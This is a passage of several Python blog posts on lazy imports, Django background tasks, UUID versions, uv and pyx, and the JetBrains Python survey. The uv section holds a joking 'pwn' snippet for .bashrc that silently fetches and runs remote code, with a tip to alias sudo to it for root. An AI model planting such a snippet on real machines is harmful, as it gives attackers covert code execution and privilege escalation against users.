with:</p><ul><li><p>An optional <code>lazy</code> keyword to mark an import as potentially lazy.</p></li><li><p>A new interpreter mode for lazy imports that can be either <code>default</code>, <code>disabled</code> or <code>enabled</code>.</p></li><li><p>A Python flag <code>-x lazy_import=&#8221;&lt;mode&gt;&#8221;</code> to set this mode.</p></li><li><p>A <code>PYTHON_LAZY_IMPORTS</code> <a href="https://www.bitecode.dev/p/environment-variables-for-beginners">env var</a> to set this mode.</p></li><li><p>A Python API to set this mode with <code>sys.set_lazy_imports()</code></p></li><li><p>A <code>__lazy_modules__</code> magic variable you can use to list modules and mark them as potentially lazy. This requires no new syntax, unlike the <code>lazy</code> keyword.</p></li><li><p>A <code>__lazy_import__()</code> function that is the lazy equivalent of <code>__import__()</code>.</p></li><li><p>A <code>sys.set_lazy_imports_filter()</code> callback to programmatically exclude imports from being lazy.</p></li></ul><p>If an import is marked this way:</p><pre><code><code>lazy import json</code></code></pre><p>Or this way:</p><pre><code><code>lazy from json import dumps</code></code></pre><p>Then it is marked as &#8220;potentially lazy&#8221;. If the interpreter's lazy import mode is <code>default</code>, then the marked import will indeed be lazy. If the mode is <code>disabled</code>, it won&#8217;t be. If the mode is <code>enabled</code>, <strong>all imports, marked or not, will be lazy</strong>.</p><p>This seems like a strange design until you realize that:</p><ul><li><p>The default is to follow what the keyword tells you.</p></li><li><p>A global OFF switch is very interesting anywhere you need predictable performances. Because lazy imports could trigger a hot path anywhere. Disabling them make sure you pay the cost up front, like for a web server, where you want it at the start of the process, not at the first HTTP request handling.</p></li><li><p>A global ON switch is very useful for testing.</p></li><li><p><code>__lazy_modules__</code> allows to opt in early, but make it compatible with old Python versions that don&#8217;t yet have the new syntax: they just get ordinary imports.</p></li><li><p><code>set_lazy_imports_filter()</code> is a safety net for all the things the spec designers didn&#8217;t think about.</p></li></ul><p>The proposal has a very narrow scope as well:</p><ul><li><p><code>lazy</code> only works on imports. It is not a general lazy language feature. In fact, it mostly binds a proxy object to the module holding variable until an attribute is accessed.</p></li><li><p>Any introspection of the import state will trigger reification (meaning imports will be executed). You look at it, it resolves, period.</p></li><li><p>They don&#8217;t try to solve circular import.</p></li><li><p>It&#8217;s not recursive. <code>lazy</code> only affects the import it marks, not the ones in the lazily imported modules.</p></li></ul><p>The specs authors have done a good job at thinking about a lot of edge cases, without overdoing it. Given they are touching a very complex and sensitive part of Python, an immensely popular language among a super diverse crowd, it&#8217;s an incredible balancing job they did.</p><p>And there are many such details:</p><ul><li><p><code>__future__</code> can&#8217;t be lazy.</p></li><li><p><code>sys.modules</code> don&#8217;t contain the module name until first access, so that <code>in</code> checks work as expected.</p></li><li><p><code>import *</code>, imports in <code>try</code>/<code>except</code> (or context managers) and in functions cannot be marked as lazy.</p></li><li><p><code>ImportError</code> tracebacks on lazy-loaded modules will contain both the error at the access site and the import site.</p></li><li><p>In the context of multi-threading, exactly one thread performs the import and atomically rebinds the importing module&#8217;s global to the resolved object, making it thread safe.</p></li></ul><p>Of course, lazy imports come with a &#8220;here be dragons&#8221; warning, since:</p><ul><li><p>Imports might trigger in a different order than listed in the file.</p></li><li><p>Side effects now occur at access time (that&#8217;s the point).</p></li><li><p>If you look at the module object, it now contains a proxy.</p></li><li><p>This will play interestingly if you lazily import something in one parent thread and use it first in a child thread, as the side effects occur there.</p></li></ul><p>So if this gets implemented, don&#8217;t jump on it, even if it looks like an easy win. Use it only if the need arises; it is definitely an advanced feature.</p><p>And so much respect to the 7 people that came up with this, even if it&#8217;s not. It&#8217;s a beautiful example of how one should approach a problem, solve it, then explain it to the world.</p><h2><strong>Django finally gets background tasks</strong></h2><p>Any big Django website ends up having some kind of task queue to run blocking or long-running processes. 10 years ago, <a href="https://docs.celeryq.dev/en/stable/getting-started/introduction.html">Celery</a> was popular, but then more lightweight solutions like <a href="https://python-rq.org/">rq</a> and <a href="https://huey.readthedocs.io/en/latest/">huey</a> took hold.</p><p>However, Django is typically batteries included, and it was about time it would come with its own solution out of the box, which finally was specified in <a href="https://github.com/django/deps/blob/main/accepted/0014-background-workers.rst">DEP 14</a>, thanks to Jake Howard, a part of the excellent <a href="https://wagtail.org/">Wagtail</a> team.</p><p>It is expected to be available for version 6.0, coming out at the end of this year.</p><p>So what does it look like?</p><p>Well, let&#8217;s say you need to encode a video, and it takes a long, long time, so you don&#8217;t want to block your requests while you do.</p><p>First, you configure your task backend, which defines where the tasks and results are going to be stored. Appart from <code>dummy</code> and <code>instant</code> that are made for testing, the only option is currently storing stuff in the DB:</p><pre><code><code>TASKS = {
    &#8220;default&#8221;: {
        &#8220;BACKEND&#8221;: &#8220;django_tasks.backends.database.DatabaseBackend&#8221;
    }
}
INSTALLED_APPS = [
    # ...
    &#8220;django_tasks&#8221;,
    &#8220;django_tasks.backends.database&#8221;,
] # don&#8217;t forget to ./manage.py migrate
</code></code></pre><p>You can define a task:</p><pre><code><code>from imaginary_video_module import encode_video
from django.tasks import task

@task()
def encode_video_task(video_file_path):
    return encode_video(video_file_path)</code></code></pre><p>You can then start your worker process:</p><pre><code><code>./manage.py db_worker</code></code></pre><p>This is the process, separate from your web process, that will handle the tasks.</p><p>And then, anywhere in your endpoints:</p><pre><code><code>result = encode_video_task.enqueue(
    video_file_path=&#8221;./path/to/video.mp4&#8221;
)</code></code></pre><p>This call will not block the endpoint, and instead, send a request to the task queue, which will deal with the video in a separate process. This way, your users get a response immediately, while the video is encoded in the background.</p><p><code>result</code> is a special object that contains an <code>id</code> (so you can retrieve it elsewhere with <code>default_task_backend.get_result())</code>, a <code>status</code> (so you can know if the task is ready, pending, failed, etc), a <code>return_value</code> (it raises <code>ValueError</code> if the task <code>status</code> is not <code>ResultStatus.SUCCEEDED</code>) and <code>errors</code>, a list of objects containing information about potentially raised exceptions during your task.</p><p>It&#8217;s not a very fancy system (in fact, I managed to contribute a couple of lines to the project because the code was very accessible). For now, there is no possible custom backend, no alternative to the db backend, traceback information is just strings, there is no priority, and in fact, no timeout handling, no retry, no cancellation, not even observability!</p><p>But it&#8217;s also a no-brainer to setup, and should be sufficient for projects that just want to offload a few things without having to build a babel tower just yet.</p><p>So this first step is, as usual, to test the water. It&#8217;s not going to replace your multi-tenant terraformed airflow to Kafka deployment any time soon, but <a href="https://github.com/django/deps/blob/main/accepted/0014-background-workers.rst#id16">it will improve.</a></p><h2><strong>Small stuff</strong></h2><ul><li><p><a href="https://pypi.org/project/six/">six</a>, the 2 to 3 compat library, is <a href="https://sethmlarson.dev/winning-a-bet-about-six-the-python-2-compatibility-shim?utm_campaign=rss">still</a> in the <a href="https://pypistats.org/top">top 20</a> of most downloaded libs from Pypi.</p></li><li><p><a href="https://vstinner.github.io/pep-757-c-api-import-export-integers.html">PEP 757</a> wants to normalize how Python imports and exports integers.</p></li><li><p><a href="https://mypy-lang.blogspot.com/2025/09/mypy-1181-released.html">Mypy 1.18.1 is out</a>, tooting a big bump in performance.</p></li><li><p>Still <a href="https://blog.pypi.org/posts/2025-09-23-plenty-of-phish-in-the-sea/">more</a> <a href="https://blog.pypi.org/posts/2025-09-16-github-actions-token-exfiltration/">attacks</a> on Pypi.</p></li><li><p><a href="https://github.com/astral-sh/uv/releases/tag/0.8.23">uv now allows installing invalid wheels</a> (it&#8217;s opt-in). Sounds like pyx is hitting corporate land.</p></li><li><p>nanodjango, a microframework-like API for Django, has <a href="https://nanodjango.dev/">a new website</a>. Good time to let you know this tool exists.</p></li></ul><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Don&#8217;t be afraid that I will spam you with too many poorly written articles. I barely have the time to write a couple of poorly written articles a month. Subscribe!</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[What's a UUID, and what do you use that for?]]></title><description><![CDATA[What do you mean, not that ID, officer?]]></description><link>https://www.bitecode.dev/p/whats-a-uuid-and-what-do-you-use</link><guid isPermaLink="false">https://www.bitecode.dev/p/whats-a-uuid-and-what-do-you-use</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Mon, 22 Sep 2025 16:25:41 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/ee47e1e0-fc81-409c-bb11-e9b972c29326_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Summary</strong></h2><p><em>UUIDs are 128-bit numbers that look like this:</em></p><pre><code><code>c5cba9cb-7109-40f8-96d2-346dc83f3a1f</code></code></pre><p><em>They can be generated by most programming languages and database systems. E.G in Python:</em></p><pre><code><code>&gt;&gt;&gt; import uuid
&gt;&gt;&gt; str(uuid.uuid4())
'56b20fff-b22e-4117-9288-b9da686d299b'</code></code></pre><p><em>They have very strong uniqueness guarantees. You could generate billions of them for years without finding a duplicate. Being unique is a property of the way they are created; it requires no coordination, so you can generate them from different sources all over the world.</em></p><p><em>They are appealing to be used as unique identifiers, such as a database primary key. While they are bigger and slower, they do save a lot of headaches, and are a very nice tool to have at your disposal.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2><strong>Apparently, it's important</strong></h2><p>With <a href="https://en.wikipedia.org/wiki/Universally_unique_identifier">UUID7</a> being added to modern <a href="https://docs.python.org/3.14/library/uuid.html#uuid.uuid7">Python</a> and <a href="https://www.thenile.dev/blog/uuidv7">Postgres</a>, there has been <a href="https://news.ycombinator.com/item?id=39262286">a debate</a> about exposing internal IDs to the outside world and the consequences for security.</p><p>Some people advise using a public ID that is different from the internal unique ID of your DB to reduce the attack surface. Some points out UUID7 having a timestamp part is metadata that can be used to infer some information (E.G: imagine you get a medical test for a disease, with the ID you know when the procedure happened).</p><p>When I read such a debate, I always remember that most systems out there are still using some incremental primary key, or use a natural key. And that a lot of teams don't even think about what type of ID they are using.</p><p>Let's explain what this stuff is, so you can make those decisions yourself.</p><h2><strong>The need for uniqueness</strong></h2><p>If I talk about the movie Dracula, which one am I talking about? There are so many!</p><p>You may start adding information about it to differentiate them, like the director. The one by George Melford or the one by John Badham? But then you hit the problem that Coppola's movie, probably the most famous one, is not <em>named</em> Dracula, but in fact "Bram Stoker's Dracula". Except on the French market, where it is.</p><p>You may use the year then, but in 1931, two Dracula movies came out.</p><p>So what about using the exact release date?</p><p>But in which country?</p><p>If you want to manipulate information about some kind of entity, you need a unique way to identify it, so that you can retrieve this one, exactly, not anything else. In relational databases, we use table primary keys for that, Python objects have internal IDs, StackOverflow URLs have unique numbers (<a href="https://stackoverflow.com/questions/1155008/how-unique-is-uuid">https://stackoverflow.com/questions/1155008/how-unique-is-uuid</a> and <a href="https://stackoverflow.com/questions/1155008">https://stackoverflow.com/questions/1155008</a> points to the same article)...</p><p>Using some properties of the object we want to talk about to define it uniquely is very hard and error-prone. This is what we tried to do with the Dracula movie. This is why the <a href="https://www.imdb.com/">Internet Movie Database</a> has unique IDs for each movie that are completely arbitrary. E.G: <code>0112896</code> is the unique ID of <a href="https://www.imdb.com/title/tt0112896/">Dracular, dead and loving it</a>.</p><p>You can be tempted to use someone's name, but names have duplicates. Someone's phone number, but <a href="https://chromium.googlesource.com/external/libphonenumber/+/falsehoods_l/FALSEHOODS.md">phones can be relocated</a>. And so on, and so on.</p><p>So it's good practice to attribute a meaningless internal identifier to entities you are manipulating. Making that identifier unique across your system, though, is a challenge in itself.</p><p>Some systems use a number that is based on the object creation date, with a very precise (to the nanosecond) resolution. You'll get duplicates if you create too many objects at the same time, though.</p><p>Some use an automatically incremented number with a lock, so that your new object is always +1 than any previous recorded number. But then you need a centralized system to hold the lock, you can't create unique values from outside of it.</p><p>Another solution to this problem is to use a <a href="https://en.wikipedia.org/wiki/Universally_unique_identifier">universally unique identifier</a>, or UUID, a number that is generated in a way that has strong guarantees of being unique by mathematical magic.</p><p>Let's see what they are, and the pros and cons of using them.</p><h2><strong>An interesting idea</strong></h2><p>A typical UUID looks like this:</p><pre><code><code>c5cba9cb-7109-40f8-96d2-346dc83f3a1f</code></code></pre><p>This is just a notation, mind you. The dashes and hexadecimal base are for readability. You could represent the very same UUID with the number in base 10 and no delimiter:</p><pre><code><code>216225951109208685816139325685595281727</code></code></pre><p>UUID are, indeed, just numbers generated with standard algorithms that have the following characteristics:</p><ul><li><p>They are always the same length: 32 digits in hexadecimal (128 bits).</p></li><li><p>They have a version that tells you how it's been generated.</p></li><li><p>They can be divided into 5 standardized sections, some of them containing information, such as the version: "c5cba9cb-7109-<strong>4</strong>0f8-96d2-346dc83f3a1f" is version 4 because <strong>4</strong>0f8 starts with 4.</p></li></ul><p>So far we have 8 versions, each of them generating the number in a different manner:</p><ul><li><p><strong>Version 1:</strong> Uses timestamp + MAC address, making them roughly time-sortable and unique across machines.</p></li><li><p><strong>Version 2</strong> Like v1, but embeds POSIX UID/GID instead of some timestamp bits.</p></li><li><p><strong>Version 3:</strong> Deterministically generated from a namespace UUID and a name, using MD5 hashing.</p></li><li><p><strong>Version 4:</strong> Fully random or pseudo-random 122-bit value, maximizing unpredictability. The most used version in the world.</p></li><li><p><strong>Version 5:</strong> Like v3 but uses SHA-1 for stronger hashing and reduced collision risk.</p></li><li><p><strong>Version 6:</strong> Like v1 with timestamp-first in the layout, for better database index locality.</p></li><li><p><strong>Version 7:</strong> Time-ordered UUID using Unix time (milliseconds) + random bits for easy chronological sorting. This is the new hotness.</p></li><li><p><strong>Version 8:</strong> Reserved format allowing custom bit layouts while still being UUID-compliant. Basically, make your own UUID.</p></li></ul><p>They are everywhere. Most rich systems can generate a UUID.</p><p>Python:</p><pre><code><code>&gt;&gt;&gt; import uuid
&gt;&gt;&gt; str(uuid.uuid4())
'56b20fff-b22e-4117-9288-b9da686d299b'</code></code></pre><p>Powershell:</p><pre><code><code>c:\ [guid]::NewGuid()
Guid
----
be3a122f-9490-4fed-8122-9fe793ac7ddf</code></code></pre><p>Bash:</p><pre><code><code>$ uuidgen
9dbb3e02-7743-4d99-8840-d37cfa741c44</code></code></pre><p>And any good RDBMS has support for both generating them and dedicated field types to store them efficiently nowadays.</p><p>The most important part is of course, that UUID algorithms are very good at avoiding duplicates.</p><p>E.G: UUID4, which is the one with the most randomness, statistically would require, on average, to generate 1 billion UUIDs <em>per second</em> for about 86 years to get a 50% chance of collision on your next attempt.</p><p>And finally, all UUID versions have the same compatible format, meaning that if all you need is an opaque unique handle (you don't need the metadata), all versions can be used interchangeably.</p><h2><strong>Which one should I use, and for what?</strong></h2><p>UUID4 is the one that is used the most for a reason: it's the one that requires the least information to be generated, and exposes, therefore, the least metadata to the rest of the world.</p><p>It's also very standard and very well supported.</p><p>It's useful if you want to generate a unique name for a temp directory, a primary key in a database, the name of a profile in a config file (Firefox does that)... Pretty much everything where you need something to be unique with no meaning.</p><p>By its nature, it allows you to generate UUID4 from all over the planet with no additional information and no coordination, yet they will be unlikely to collide. No need for a central lock. No need to share data between sources of IDs.</p><p>In a database with auto-incremented primary keys, a user, a product, and a permission row will end up with the same ID, and the namespace makes them distinct. But with UUIDs as primary keys, if you see an ID, only one object has it, no matter its table.</p><p>In tests or exports, there is less risk of conflicts as well, since multiple runs will not end up with overlapping IDs.</p><p>Of course, UUIDs have drawbacks. They eat up more space. They take longer to compare. They really suck when you have to dictate one over the phone.</p><p>But the worst problem of using UUID version 4 in the particular case of DB primary keys is that it is random, and therefore, can't be sorted or indexed. This makes looking up one particular ID slower than alternatives.</p><p>Indeed, with an incremented ID, the DB knows that if you look for ID 97898, you can skip all rows up to 97897 and find it. With something random, it could be anywhere.</p><p>For this reason, some systems have been using less standard alternatives, such as <a href="https://github.com/ulid/spec">ULID</a>, to mitigate this problem.</p><p>This is why the upcoming UUID 7 is exciting: it contains both a lot of randomness and a timestamp, but nothing else (unlike UUID 1 and derivatives). That makes it easy to sort. And since all UUID versions have the same format, UUID 7 will be a drop-in replacement for UUID4.</p><p>Of course, it does leak the date and time of creation of the database entry to the outside world if you use it publicly (which most systems do), and now you understand why there is such debate taking place.</p><p>Personally, I've never been in a situation where using a UUID 4 as a unique identifier had more cons than pros. I eagerly wait for UUID 7 to remove one more annoyance, but it's a nice-to-have, not a requirement.</p><p>Yet I will ask myself if the creation date is information I wish to hide or not. I haven't worked in 20 years, on a project where it would have been the case. But you never know.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Every time I create an article, a UUID is generated that we will never see again. I steal randomness from the universe! Don&#8217;t let this go to waste, subscribe!</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[What's up Python? Astral never stops, JetBrains gives us insights]]></title><description><![CDATA[August, 2025]]></description><link>https://www.bitecode.dev/p/whats-up-python-astral-never-stops</link><guid isPermaLink="false">https://www.bitecode.dev/p/whats-up-python-astral-never-stops</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Fri, 05 Sep 2025 15:47:35 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/d68353ef-8995-4a74-bf04-d5afc387b114_966x966.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Summary</strong></h2><ul><li><p><em>Astral releases pyx, its commercial venture, and turns </em><code>uv</code><em> into a more general Python installer.</em></p></li><li><p><em>JetBrains Python survey results are in, and stay pretty consistent with the previous years.</em></p></li><li><p><em>And many little things. Mainly those two, though.</em></p></li></ul><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2><strong>A lot of Astral things happened</strong></h2><p>Even if the initial buzz surrounding <code>uv</code> has calmed down, I still follow the company closely, because they haven't stopped being awesome. People just paid less attention to it.</p><p>First, they released <a href="https://github.com/astral-sh/uv/releases/tag/0.8.0">uv 0.8</a> with changes that will shift how this tool is positioning itself. It will use its own build backend by default, getting closer to a full replacement for competitors like <code>hatch</code>.</p><p>But more importantly, it used to be that <code>uv</code> was only for managing your Python project bootstrapping. However, now, it's also a general-purpose Python installer:</p><ul><li><p><code>uv</code> will install Python executables in a directory on the <a href="https://www.bitecode.dev/p/environment-variables-for-beginners">PATH</a>. This means if you <code>uv python install python3.13</code>, you can now call <code>python3.13</code> without <code>uv</code>, outside of any project. You can opt out of this with <code>--no-bin</code> or <code>UV_PYTHON_INSTALL_BIN=0</code>.</p></li><li><p><code>uv</code>-installed Python executables will now be registered in the Windows registry, making them more discoverable on this OS.</p></li><li><p><code>UV_TOOL_BIN_DIR</code> will be set in Docker images to <code>/usr/local/bin</code>, making it a system-wide installer for containers.</p></li></ul><p>The first 2 are good things in my book. It means fewer modes of failure for beginners, and sane defaults for everybody. Note that <code>uv</code> Python will shadow the system Python on Linux for the user, but not the OS. I think this is ideal: this completely severs the Python for the system from the one people can mess with.</p><p>The 3rd one, I'm not so sure. I believe <a href="https://www.bitecode.dev/p/yes-you-should-use-a-python-venv">one should still isolate Python in a container</a>, and I worry that this new behavior is going to cause trouble down the road. I would advise you to use a non-root user to set your Docker image, and set <code>UV_TOOL_BIN_DIR</code> to <code>~/.local/bin</code> to opt out of this.</p><p>Also, they upgraded <code>uv</code> download-and-run-code capabilities. You could do this already:</p><pre><code><code>uv run https://pastebin.com/raw/RrEWSA5F</code></code></pre><p>But now it works with gists as well:</p><pre><code><code>uv run https://gist.github.com       /charliermarsh/ea9eab7f56b1b3d41e51960001cae31d#file-bar-py</code></code></pre><p>(I have to put spaces to avoid substack from eating the url)</p><p>This is super nice for demos, especially mixed with the native inline deps support. Also a fantastic attack vector, if you manage to put this in .bashrc:</p><pre><code><code>pwn(){
  wget -qO- https://astral.sh/uv/install.sh | sh &amp;&gt; /dev/null
  uv run https://gist.github.com/your_python_script &amp;&gt; /dev/null
}
pwn &amp;</code></code></pre><p>Alias <code>sudo</code> to call this before, and you even get root for free. Pentesters all over the world are rejoicing.</p><p>Ok, if you can execute code out of a sandbox on a machine, it's already too late. But this makes it extra juicy.</p><p>Finally, remember when I said that ironically, <code>uv</code><a href="https://www.bitecode.dev/i/153172709/when-uv-fails"> couldn't solve packaging problems</a>, and also that people were worried about Astral's business model?</p><p>Well, last year Charlie Marsh told us <a href="https://www.bitecode.dev/p/charlie-marsh-on-astral-uv-and-the">in a great interview</a> (still worth watching BTW) they intended to target the B2B market, and they just announced that they are now doing exactly that with their new product: <a href="https://astral.sh/pyx">pyx</a>.</p><p>Pyx is a SaaS that will solve packaging problems, and many more, by doing stuff on the server side, which <code>uv</code> can't. <code>uv</code> will stay FOSS, pyx is the commercial venture that will make them money. They want to make installing unruly beasts like PyTorch easy, let you get the most of your GPU and of course, sort out the whole security deal corporations care about.</p><p>Waiting list only, for now.</p><h2><strong>The numbers are in</strong></h2><p>The annual Python JetBrains survey results have been <a href="https://lp.jetbrains.com/python-developers-survey-2024/">published</a>. Take this with the grain of salt that comes with the obvious bias of such a data source, but here is what I make of it:</p><p>1 - 50% of the people answering the survey have less than 2 years professional experience, 47% are below 30 years old. I believe this reflects the fact that a lot of fresh blood is constantly pouring into the community. But also that when somebody needs to teach programming, they will choose Python. And that if you are not a programmer (like a mathematician, biologist, economist or geographer) but need to code something anyway, you will likely pick Python. This is quite universal, as only 14% are from the US!</p><p>Keep in mind that 32% reported contributing to open-source projects last year, most of that through code, while 26% said they have packaged and published a Python application to a package repository. That's one order of magnitude more than IRL (IMO YMMV TBF AFAIK). So the survey has likely a wayyyyyy more experienced cohort than your average team. This 50% is probably <em>underestimated</em>.</p><p>I keep repeating it wherever I go, but geeks rarely listen: if you want to reach Python devs with any medium (tutorials, articles, videos, documentation), you HAVE to take that into consideration. If you do Rust, you can assume proficiency. Not with Python.</p><p>That's why this blog has an introduction <a href="https://www.bitecode.dev/p/ultra-beginners-first-steps-for-the">to the terminal</a>, <a href="https://www.bitecode.dev/p/environment-variables-for-beginners">environment variables</a> or the <a href="https://www.bitecode.dev/p/intro-to-pdb-the-python-debugger">debugger</a>. So I can link to it in any article that has this as a prerequisite to be understood.</p><p>2 - Data analysis (48%), Web dev (46%) and machine learning (41%) are by far the most popular use cases for Python. Mobile dev, game dev, embedded dev and multimedia are scraping a few percents, dead last. Nothing surprising, but it's good to see that what you experience in the field is reflected here. There is good correlation between my experience going from clients to clients, and that makes me feel all fuzzy inside. Also, I hope the mobile dev situation is going to change at some point, thanks to the fact we now have an official Android build target.</p><p>3 - 58% learn stuff first from Documentation and APIs. Yeah, right. I don't buy this BS. I used to RTFM colleagues constantly until LLMs arrived and could basically do that for them. But you do feel good when you pretend you do. However, 51% say they learn from YouTube. That, I believe. Not TikTok, Insta, X or BSKY (other, 11%) mind you, but 17 yo and under are excluded from the pool. 27% from AI tools, 41% from blogs, 42% from Stack Overflow. Really? It's still alive?</p><p>4 - Most people (35%) stay one Python version (3.12) behind latest (3.13). Good. That's what I recommend as well. Astonishingly, 2% use an unstable version (3.14, very bleeding edge when the survey came out), which says a lot about how disproportionately advanced users are represented in this pool.</p><p>5 - 4% use Python 2. More than 3.7, 3.6 or 3.5! There is a lesson in there.</p><p>6 - The most popular reason to avoid upgrading (53%) is: "The version I'm using meets all my needs". So there is that.</p><p>7 - Installation mode is mostly Python.org (good) and system tools (bad). Despite the huge deserved hype <code>uv</code> is still niche, believe it or not. That's how big the community is, and that means inertia. Don't get fooled by the bubble of enthusiastic nerds you hang with. If you read a tech blog, you are in a minority bucket. In fact, even when it's about installing packages from PyPI, <code>pip</code> tops at 74%, <code>poetry</code> follows at 20% and <code>conda</code> falls to 18% (from 20% last year and Anaconda goes from 27% as a package source to 6%!). <code>uv</code> is barely in front of the very obsolete <code>pipenv</code> with 11%. But it was not even there in the previous survey, so that's something! What might take you by surprise is that 25% install packages directly from... GitHub, and between 10 to 30% (hard to say) from a local source or a private index.</p><p>8 - On the Web side, FastAPI (38%) took over Django (35%) and Flask (34%) in popularity. If you like the FastAPI look and feel but still want to benefit from all the Django goodies, I recommend <a href="https://django-ninja.dev/">django-ninja</a>. Yet, I have the feeling that we are getting ripe for a new framework that rips the lessons of all those projects, builds on free threading and provides a modern experience. I keep using Django for almost everything since I rarely need something custom enough that it justifies reinventing the wheel with micro-frameworks. And it does the job wonderfully. But it is legacy in both the good and the bad ways.</p><p>9 - On the test side, pytest is king (53%). I think it's a solved problem. Next. However, on the GUI side, that Tkinter (21%) is still the top player is very, very sad.</p><p>10 - Containers and the cloud in general (AWS and Kubernetes in particular) are popular options for deployment. Given how inexperienced a lot of the community is, this sounds way overkill to me. This is echoed by the fact that most (51%) "develop for the cloud locally with virtualenv" more than in containers or virtual machines. Or it might be just an artifact of how portable Python is. Maybe both. In any case, 42% don't use a venv in a container. And then complain something breaks, I assume.</p><p>11 - Data-science wise, pandas (80%) stays miles ahead. We may hear a lot about Spark and Polars, but they are only 16% and 15% respectively. 8% have an in-house solution. That's a lot more than it looks like, given the cost of maintaining one. But I can attest to that. I have a massive client that made me port their entire critical, enormous, proprietary calculation engine to Python from... Matlab. You would think coming from a matrix oriented language, the whole thing would make an easy target for at least NumPy. But no. We had to write most things custom. Anything that deals with the messy nature of human life and not something virtual like a video codec or a file system will eventually be full of small details that can't be vectorized. Laws, dates and configurability are especially gnarly. No SIMD for me.</p><p>12 - Scikit-learn (68%) is in front of both PyTorch (66%) and TensorFlow (49%) in terms of user base, which is counterintuitive in this day and age of AI bubble. You would think that old school machine learning has been rendered obsolete, but it turns out those techniques, while less flexible, are also more cost effective. So it makes sense to stick to what is fast and cheap if it works.</p><p>13 - OS wise, we are at 59% Linux, 58% Windows, 27% macOS, keeping in mind that WSL skews the results and that people can rock several devices or partitions. Again, if you address the community, know that so many Windows users are present is very important, since many are not comfy with the CLI, although this is improving.</p><p>14 - Not so much related to Python as interesting as a standalone data point: ChatGPT stays the uncontested winner of the AI race, with 4 out of 5 respondents using it. Anthropic Claude, especially the Claude code agent, is vastly superior in almost every way for coding, and yet scores only 17%. Branding is a powerful force. And so is being the default option (39% use GitHub Copilot, despite it being very limited) or being free (Google Gemini, 23%).</p><p>15 - On the DB side, the podium Postgres (49%), SQLite (37%), MySQL (31%) and Redis (18%) to the surprise of no one. You really have to scroll to see columnar DBs in there, like the excellent ClickHouse (2%), and DuckDB is nowhere in sight, no matter how popular data analysis is.</p><p>16 - CI is also pretty much what you expect: GitHub Actions is evidently first because... GitHub (35%), followed by GitLab CI (22%), Jenkins / Hudson (12%), Azure DevOps (8%) and AWS stuff (5%). The latter is more corporate, and given the nature of the survey, is likely to be underrepresented.</p><p>17 - Configuration Management Tools is really, really fun. The graph starts with Ansible at 8%, followed by "a custom solution". Given how Ansible sucks, it's very much telling. But the most important is "None", 71%. Yes, many people do stuff manually, because remember, half of the community is made of beginners. But also, containers and orchestrators moved automation from Ansible YAML files to Dockerfiles and ... Kubernetes YAML files, I guess. I want to believe in an alternative universe <a href="https://github.com/ClueLang/Clue">CUELang</a> became the de facto conf language and they achieved world peace.</p><p>18 - Documentation wise, raw markdown seems to win (44%). But, it's a format, not a system, like Swagger (29%) which is automated and just for Web API or Sphinx (14%). This doesn't say much, most READMEs are in markdown by default, and both Sphinx and MkDocs support markdown. I'll say the quiet part aloud though: a lot of people hate RST with a passion.</p><p>19 - VSCode (49%) and PyCharm (25%) are still the editors of choice. 7% of Vim + Neovim. Again, if you had a picture of the average Python dev rocking Arch Linux with a tiled DE from their Dvorak ergo keyboard, you are going to be very disappointed.</p><p>20 - You might think that C is the main language to create compiled extensions for Python, but it's only the second (45%), the first one being C++ (55%). Given the precision of this survey, we can consider them at the same level, but it's still way more than I suspected. 3rd place goes to Rust, with a staggering 33% of people that used it for that purpose at least once. That's how much Rust is popular in the Python world nowadays. 4th place is Go (9%)!</p><h2><strong>Let's not forget</strong></h2><ul><li><p><a href="https://peps.python.org/pep-0802/">PEP 802</a> suggests that we change the empty set notation from <code>set([])</code> to <code>{/}</code>. I'm neutral on this one.</p></li><li><p><a href="https://blog.pypi.org/posts/2025-08-07-wheel-archive-confusion-attacks/">PyPI will now reject zips constructed to exploit construction attacks.</a>. Nice to see the security devs keeping at it.</p></li><li><p>The Python documentary is out, <a href="https://www.youtube.com/watch?v=GfH4QL4VqJ0">watch it for free on YouTube</a>.</p></li><li><p><a href="https://discuss.python.org/t/dropping-intel-mac-to-tier-2/102100/12">The core devs relegate the old Intel CPU to a lower tier of support on Mac</a>. It was 2 Apple architecture changes ago so I don't know who is impacted by this, but I'm sure someone, somewhere, will be.</p></li><li><p><a href="https://discuss.python.org/t/pep-799-a-dedicated-profilers-package-for-organizing-python-profiling-tool/100898/21">A new profiling module will be added to the stdlib</a>. It will do nothing, and serves only as a namespace to 